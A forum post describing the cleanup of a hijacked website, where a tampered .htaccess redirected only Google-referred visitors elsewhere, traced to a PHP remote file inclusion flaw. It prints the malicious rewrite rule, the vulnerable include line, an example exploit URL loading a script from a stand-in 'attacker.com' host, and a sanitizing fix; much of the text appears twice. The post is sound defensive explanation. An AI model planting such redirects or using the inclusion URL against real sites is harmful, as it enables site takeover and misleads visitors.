Google Reference Hijack
Page 1 of 1
Google Reference Hijack
Recently a friend of mine, had a client that had a very odd problem. His website was working fine when you go to it directly by typing in the domain name; however, if you searched for the site in Google and clicked the link for the site it would take you to a hijacked page.
So the page only appeared hijacked when the referral was coming from Google. The hijack could go unnoticed for months. You would either have to be googleing yourself or wait until a good samaritan sends you an email warning you of the problem. I must say this sort of attack is quite clever on the hijacker’s part. The hijacked page gets the original site’s page rank and Google visits while the site owner has absolutely no clue.
Fixing it
The first part of the problem was to fix the hijack. This was easily solved by simply deleting the .htaccess and restoring it with the original. The hacked .htaccess contained a redirect similar to something like this:
The second part of the problem was to find how the hacker was able to change the .htaccess. Since we don’t have access to shared hosting logs we were going to to have to do it the hard way.
We first tried a tool called, nikto. After running the tool it returned a myriad of potential problems that could have caused an attack, like old versions of PHP, old cgi scripts etc.. After thinking about it we thought that if it was the host’s fault there would be thousands of websites effected so we started digging into the code and found something interesting:
This one liner was the culprit we were looking for. This segment of code was used to include some code based on the particular pages the user was on. The problem with it however is that it blindly accepts any value here. Remember the golden rule: Sanatize all input! Failure to sanitize this input led to an attacker able to do something like this:
http://www.domain.com/index.php?page=attacker.com/attack
He would then have a script at his site called attack.inc.php. The attacker knew that they needed the .inc.php extension because the when they passed, ‘foobar‘ through the page variable they got an error explaining that it wasn’t there. To prevent this knowledge you could supress the PHP error messages or use PHP required function instead and throw out a die statement. This would only provide obscurity however. We needed to eliminate the vulnerability with input sanitation.
To do this we used a simple regular expression that would only accept a-z and A-Z. This would prevent remote includes and path traversing.
So the page only appeared hijacked when the referral was coming from Google. The hijack could go unnoticed for months. You would either have to be googleing yourself or wait until a good samaritan sends you an email warning you of the problem. I must say this sort of attack is quite clever on the hijacker’s part. The hijacked page gets the original site’s page rank and Google visits while the site owner has absolutely no clue.
Fixing it
The first part of the problem was to fix the hijack. This was easily solved by simply deleting the .htaccess and restoring it with the original. The hacked .htaccess contained a redirect similar to something like this:
- Code:
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://google\.com
RewriteRule .* http://www.anotherdomain.com [R=301,L]
The second part of the problem was to find how the hacker was able to change the .htaccess. Since we don’t have access to shared hosting logs we were going to to have to do it the hard way.
We first tried a tool called, nikto. After running the tool it returned a myriad of potential problems that could have caused an attack, like old versions of PHP, old cgi scripts etc.. After thinking about it we thought that if it was the host’s fault there would be thousands of websites effected so we started digging into the code and found something interesting:
- Code:
include_once("$_GET[page].inc.php");
This one liner was the culprit we were looking for. This segment of code was used to include some code based on the particular pages the user was on. The problem with it however is that it blindly accepts any value here. Remember the golden rule: Sanatize all input! Failure to sanitize this input led to an attacker able to do something like this:
http://www.domain.com/index.php?page=attacker.com/attack
He would then have a script at his site called attack.inc.php. The attacker knew that they needed the .inc.php extension because the when they passed, ‘foobar‘ through the page variable they got an error explaining that it wasn’t there. To prevent this knowledge you could supress the PHP error messages or use PHP required function instead and throw out a die statement. This would only provide obscurity however. We needed to eliminate the vulnerability with input sanitation.
To do this we used a simple regular expression that would only accept a-z and A-Z. This would prevent remote includes and path traversing.
- Code:
<?php
function sanitizeInput($string) {
return preg_replace("/[^A-Za-z]/", "", $string);
}
echo sanitizeInput('blah123');
?>
andry- Moderator
- Posts : 467
Join date : 2010-05-07
Similar topics
» Google Adsense Is Wonderful Tools in the Popular Google Search Engine
» Google Removes Author: Search From Google News
» New Google Music Store Will Have Strong Google+ Integration
» Download Google Books as PDF with Google Book Downloader
» What's The Difference Between Google Maps & Google Places?
» Google Removes Author: Search From Google News
» New Google Music Store Will Have Strong Google+ Integration
» Download Google Books as PDF with Google Book Downloader
» What's The Difference Between Google Maps & Google Places?
Page 1 of 1
Permissions in this forum:
You cannot reply to topics in this forum
|
|